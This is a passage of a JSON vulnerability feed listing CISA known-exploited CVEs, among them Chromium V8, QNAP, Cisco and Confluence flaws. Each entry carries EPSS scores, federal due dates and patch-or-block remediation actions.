CVE-2016-5198, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-5030","cveId":"CVE-2017-5030","aliases":[],"kind":"vulnerability","title":"Google Chromium V8 Memory Corruption Vulnerability","summary":"Google Chromium V8 Engine contains a memory corruption vulnerability that allows a remote attacker to execute code via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.","detail":"CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-06-08","updatedAt":null,"regions":["Global"],"vendor":"Google","product":"Chromium V8","stacks":["Google Chrome","Google","Chromium V8"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-06-08","dueAt":"2022-06-22","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.40635,"percentile":0.98642,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-5030&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-5030","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-06-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-5030 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-5030&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-5030, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-5070","cveId":"CVE-2017-5070","aliases":[],"kind":"vulnerability","title":"Google Chromium V8 Type Confusion Vulnerability","summary":"Google Chromium V8 Engine contains a type confusion vulnerability that allows a remote attacker to execute code inside a sandbox via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.","detail":"CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-06-08","updatedAt":null,"regions":["Global"],"vendor":"Google","product":"Chromium V8","stacks":["Google Chrome","Google","Chromium V8"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-06-08","dueAt":"2022-06-22","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.32071,"percentile":0.983,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-5070&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-5070","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-06-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-5070 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-5070&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-5070, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-6862","cveId":"CVE-2017-6862","aliases":[],"kind":"vulnerability","title":"NETGEAR Multiple Devices Buffer Overflow Vulnerability","summary":"Multiple NETGEAR devices contain a buffer overflow vulnerability that allows for authentication bypass and remote code execution.","detail":"CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-06-08","updatedAt":null,"regions":["Global"],"vendor":"NETGEAR","product":"Multiple Devices","stacks":["Netgear","NETGEAR","Multiple Devices"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-06-08","dueAt":"2022-06-22","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.45748,"percentile":0.98791,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-6862&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-6862","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-06-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-6862 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-6862&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-6862, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-17463","cveId":"CVE-2018-17463","aliases":[],"kind":"vulnerability","title":"Google Chromium V8 Remote Code Execution Vulnerability","summary":"Google Chromium V8 Engine contains an unspecified vulnerability that allows a remote attacker to execute code inside a sandbox via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.","detail":"CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-06-08","updatedAt":null,"regions":["Global"],"vendor":"Google","product":"Chromium V8","stacks":["Google Chrome","Google","Chromium V8"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-06-08","dueAt":"2022-06-22","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.84564,"percentile":0.997,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-17463&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-17463","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-06-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-17463 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-17463&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-17463, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-17480","cveId":"CVE-2018-17480","aliases":[],"kind":"vulnerability","title":"Google Chromium V8 Out-of-Bounds Write Vulnerability","summary":"Google Chromium V8 Engine contains out-of-bounds write vulnerability that allows a remote attacker to execute code inside a sandbox via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.","detail":"CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-06-08","updatedAt":null,"regions":["Global"],"vendor":"Google","product":"Chromium V8","stacks":["Google Chrome","Google","Chromium V8"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-06-08","dueAt":"2022-06-22","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.3564,"percentile":0.98448,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-17480&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-17480","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-06-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-17480 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-17480&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-17480, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-4990","cveId":"CVE-2018-4990","aliases":[],"kind":"vulnerability","title":"Adobe Acrobat and Reader Double Free Vulnerability","summary":"Adobe Acrobat and Reader have a double free vulnerability that could lead to remote code execution.","detail":"CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-06-08","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"Acrobat and Reader","stacks":["Adobe Acrobat and Reader","Adobe","Acrobat and Reader"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-06-08","dueAt":"2022-06-22","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.3594,"percentile":0.9846,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-4990&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-4990","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-06-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-4990 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-4990&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-4990, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-6065","cveId":"CVE-2018-6065","aliases":[],"kind":"vulnerability","title":"Google Chromium V8 Integer Overflow Vulnerability","summary":"Google Chromium V8 Engine contains an integer overflow vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.","detail":"CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-06-08","updatedAt":null,"regions":["Global"],"vendor":"Google","product":"Chromium V8","stacks":["Google Chrome","Google","Chromium V8"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-06-08","dueAt":"2022-06-22","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.60304,"percentile":0.99133,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-6065&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-6065","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-06-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-6065 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-6065&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-6065, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-15271","cveId":"CVE-2019-15271","aliases":[],"kind":"vulnerability","title":"Cisco RV Series Routers Deserialization of Untrusted Data Vulnerability","summary":"A deserialization of untrusted data vulnerability in the web-based management interface of certain Cisco Small Business RV Series Routers could allow an attacker to execute code with root privileges.","detail":"CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-06-08","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"RV Series Routers","stacks":["Cisco","RV Series Routers"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-06-08","dueAt":"2022-06-22","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.05488,"percentile":0.9272,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-15271&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-15271","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-06-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-15271 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-15271&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-15271, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-5825","cveId":"CVE-2019-5825","aliases":[],"kind":"vulnerability","title":"Google Chromium V8 Out-of-Bounds Write Vulnerability","summary":"Google Chromium V8 Engine contains an out-of-bounds write vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.","detail":"CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-06-08","updatedAt":null,"regions":["Global"],"vendor":"Google","product":"Chromium V8","stacks":["Google Chrome","Google","Chromium V8"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-06-08","dueAt":"2022-06-22","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.55925,"percentile":0.99039,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-5825&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-5825","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-06-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-5825 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-5825&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-5825, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-7192","cveId":"CVE-2019-7192","aliases":[],"kind":"vulnerability","title":"QNAP Photo Station Improper Access Control Vulnerability","summary":"QNAP NAS devices running Photo Station contain an improper access control vulnerability allowing remote attackers to gain unauthorized access to the system.","detail":"CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-06-08","updatedAt":null,"regions":["Global"],"vendor":"QNAP","product":"Photo Station","stacks":["QNAP","Photo Station"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-06-08","dueAt":"2022-06-22","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.88102,"percentile":0.99764,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-7192&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-7192","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-06-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-7192 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-7192&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-7192, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-7193","cveId":"CVE-2019-7193","aliases":[],"kind":"vulnerability","title":"QNAP QTS Improper Input Validation Vulnerability","summary":"QNAP QTS contains an improper input validation vulnerability allowing remote attackers to inject code on the system.","detail":"CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-06-08","updatedAt":null,"regions":["Global"],"vendor":"QNAP","product":"QTS","stacks":["QNAP","QTS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-06-08","dueAt":"2022-06-22","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.14367,"percentile":0.96591,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-7193&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-7193","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-06-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-7193 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-7193&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-7193, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-7194","cveId":"CVE-2019-7194","aliases":[],"kind":"vulnerability","title":"QNAP Photo Station Path Traversal Vulnerability","summary":"QNAP devices running Photo Station contain an external control of file name or path vulnerability allowing remote attackers to access or modify system files.","detail":"CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-06-08","updatedAt":null,"regions":["Global"],"vendor":"QNAP","product":"Photo Station","stacks":["QNAP","Photo Station"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-06-08","dueAt":"2022-06-22","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.82713,"percentile":0.99664,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-7194&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-7194","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-06-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-7194 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-7194&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-7194, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-7195","cveId":"CVE-2019-7195","aliases":[],"kind":"vulnerability","title":"QNAP Photo Station Path Traversal Vulnerability","summary":"QNAP devices running Photo Station contain an external control of file name or path vulnerability allowing remote attackers to access or modify system files.","detail":"CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-06-08","updatedAt":null,"regions":["Global"],"vendor":"QNAP","product":"Photo Station","stacks":["QNAP","Photo Station"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-06-08","dueAt":"2022-06-22","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.89681,"percentile":0.99786,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-7195&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-7195","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-06-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-7195 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-7195&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-7195, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-26134","cveId":"CVE-2022-26134","aliases":[],"kind":"vulnerability","title":"Atlassian Confluence Server and Data Center Remote Code Execution Vulnerability","summary":"Atlassian Confluence Server and Data Center contain a remote code execution vulnerability that allows for an unauthenticated attacker to perform remote code execution.","detail":"CISA added this entry on 2022-06-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Immediately block all internet traffic to and from affected products AND apply the update per vendor instructions [https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html] OR remove the affected products by the due date on the right. Note: Once the update is successfully deployed, agencies can reassess the internet blocking rules.","publishedAt":"2022-06-02","updatedAt":null,"regions":["Global"],"vendor":"Atlassian","product":"Confluence Server/Data Center","stacks":["Atlassian","Confluence Server/Data Center"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-06-02","dueAt":"2022-06-06","action":"Immediately block all internet traffic to and from affected products AND apply the update per vendor instructions [https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html] OR remove the affected products by the due date on the right. Note: Once the update is successfully deployed, agencies can reassess the internet blocking rules.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99999,"percentile":0.99994,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-26134&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-26134","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-06-02","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-26134 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-26134&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-26134, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2010-0738","cveId":"CVE-2010-0738","aliases":[],"kind":"vulnerability","title":"Red Hat JBoss Authentication Bypass Vulnerability","summary":"The JMX-Console web application in JBossAs in Red Hat JBoss Enterprise Application Platform performs access control only for the GET and POST methods, which allows remote attackers to send requests to this application's GET handler by using a different method.","detail":"CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-05-25","updatedAt":null,"regions":["Global"],"vendor":"Red Hat","product":"JBoss","stacks":["Red Hat Enterprise Linux","Red 